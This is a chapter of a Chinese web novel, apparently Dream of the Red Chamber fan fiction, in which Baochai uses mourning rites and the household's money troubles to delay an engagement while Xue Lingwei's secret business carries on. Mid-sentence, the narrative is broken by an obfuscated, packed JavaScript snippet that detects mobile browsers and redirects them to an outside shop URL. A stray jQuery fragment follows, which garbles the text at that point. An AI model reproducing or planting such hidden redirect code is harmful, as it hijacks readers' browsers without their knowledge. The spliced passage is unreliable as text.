元妃丧仪轰轰烈烈办了一月有余，宫中礼数渐渐稍缓，贾府内部紧绷的哀痛慢慢褪去，暗地里各项算计又重新浮上水面。
王夫人心中最惦记的，依旧是宝玉与宝钗的婚事。
往日有元妃在宫中撑腰，本以为早晚可以顺水推舟定下金玉良缘，不料突逢薨逝，恩宠不再。王夫人心中愈发急迫，她迫切想要借着这一桩婚事，稳固二房在府中的地位，将薛家牢牢绑在一处，相互扶持，共渡难关。
这一日丧事稍稍平息，王夫人特意寻来薛姨妈，在房中闭门长谈。
“如今元妃仙逝，世事多变。宝玉年纪也渐渐长成，婚事不宜再一味拖延。依我的意思，不如趁着家事尚且安稳，早早定下两个孩子的婚约，也好了却一桩心事。”
薛姨妈心中本就十分愿意促成这门亲事。寄居贾府多年，若是女儿能够嫁给宝玉，往后便有了终身依靠。只是元妃新丧，举国守孝，贸然议定婚嫁，难免惹人非议。她一时拿不定主意，只含糊推脱，说需要回去和宝钗细细商议一番。
回到蘅芜苑，薛姨妈将王夫人想要尽快议定婚约的想法告知宝钗，满心以为女儿定会欣然应允。
不曾想，宝钗闻言之后，神色平静，并未立刻答应。
“姨妈，元妃刚刚薨逝，举国尚在孝期之内。此时商议婚嫁，于礼制不合，传出去，免不了要被世家人笑话急于联姻，不顾皇家丧仪。依女儿之见，不如先将此事暂且搁置，等孝期过完，再慢慢商议，更为妥当。”
薛姨妈一愣，万万没想到女儿竟然会出言推迟。
“虽是孝期，只是私下交换庚帖、定下婚约，并不立刻成婚，应当无碍吧？”
“哪怕只是口头定下，消息一旦外泄，依旧会遭旁人指指点点。”宝钗语气恳切，早已经在心中打好腹稿，“贾府如今局势不稳，更应当谨守礼法，行事慎之又慎，万万不可授人把柄，落人口实。不如静待一年，待孝期圆满之后，再谈婚嫁，名正言顺，无人可以置喙。”
她言辞有礼，句句都站在维护贾府体面的角度，看不出半分刻意推脱的私心。
薛姨妈心思简单，细细一想，觉得女儿说得颇有道理，便暂且放下了立刻定亲的念头。
只是王夫人心中依旧不肯死心，隔三五日，便委婉托人过来试探几句，每一次，都被宝钗拿重孝礼制为由，不急不躁缓缓挡回。
寻到一个午后，宝钗借游园散心，悄悄去往梨香院，与薛令微商议近况。
庭院之内蔷薇开得正好，繁花满架，只是二人心中全无赏花的闲情逸致。
“二姨妈屡次想要提前定下婚约，都被我以孝期为由推辞。只是一次两次尚可，时日一久，若是依旧反复推脱，难免会引人疑心。”宝钗眉头微蹙，轻声说道，“总不能整整一年，次次都拿守孝做借口。”
薛令微立于花架之下，慢慢思索对策。
“往后不必每一次都直接拿孝期推辞，可以再添几分说辞。就说如今府中接连变故，开销日渐艰难，不宜急着置办婚事，徒增府内开支。以体恤贾府难处为由，暂缓商议。双管齐下，一来合乎礼教，二来顾全贾府当下窘迫，旁人挑不出半点错处。”
停顿片刻，她继续叮嘱：
“人前切记不可流露出不愿嫁入贾府之意。言谈之间依旧如常温和，只说婚事乃是终身大事，理当从长计议。态度柔和，理由周全，对方便很难强行逼迫。”
宝钗默默记下这套说辞。
往后几日，王夫人再遣丫鬟嬷嬷前来打探婚事口风，宝钗便先感念贾府多年照拂之恩，再说眼下府中诸事繁杂，银钱拮据，婚事不宜仓促操办，应当缓上几年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761973|209609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，等府中境况稍稍好转再做打算。一番话说得情真意切，周全得体，让前来传话之人竟无从继续劝说。
几番委婉推辞下来，王夫人也渐渐察觉，此事确实不宜操之过急，只能暂时把商议婚约一事压下，心中却隐隐生出一丝说不清道不明的疑惑。
婚事危机暂且得到缓冲，城外的产业依旧在隐秘运转。
清饴小筑依旧低调经营，不张扬，不扩张，只维系熟客订单。城郊小院控制每日产量，夜间运货依旧拆分小车，选择偏僻小路往返，避开城中各处游哨眼线。
只是平静之下，暗流从未停止涌动。
邢夫人迟迟抓不到薛令微经商的确凿证据，心中愈发焦躁。她吩咐钱婆子，把探查的范围扩大，不光盯着南城清饴小筑，还要打探城郊一带有无隐秘作坊，甚至悄悄留意宝钗平日里往来走动、银钱开销有无异常。
大量眼线散出去四处打探，所幸薛令微与宝钗行事极为谨慎，平日里吃穿用度依旧和往日别无二致，不曾添置华贵衣饰珍宝，府内下人竟看不出丝毫破绽。
夏日悄然到来，荷塘之内荷叶舒展。
贾府表面依旧是世家大户模样，内里亏空越来越严重。为填补巨大的用度窟窿，管家不得不一次次典押贵重物件。府中主子尚且尚能维持体面，底下丫鬟小厮月例时常拖延克扣，怨声四起，流言闲话，悄悄在各个院落之间蔓延。
很多往日被刻意掩盖的矛盾，慢慢暴露出来。
猜忌、提防、私盗、争执，一件件小事不断滋生，大观园这片看似诗意温柔的园子，裂痕正在一天天扩大，一场巨大的清查风波，正在悄然酝酿。
薛令微隐约已经预感到，一场席卷整个大观园的动荡，很快便要到来。她们必须更加小心翼翼，藏好所有秘密，熬过接下来最艰难的一段时日。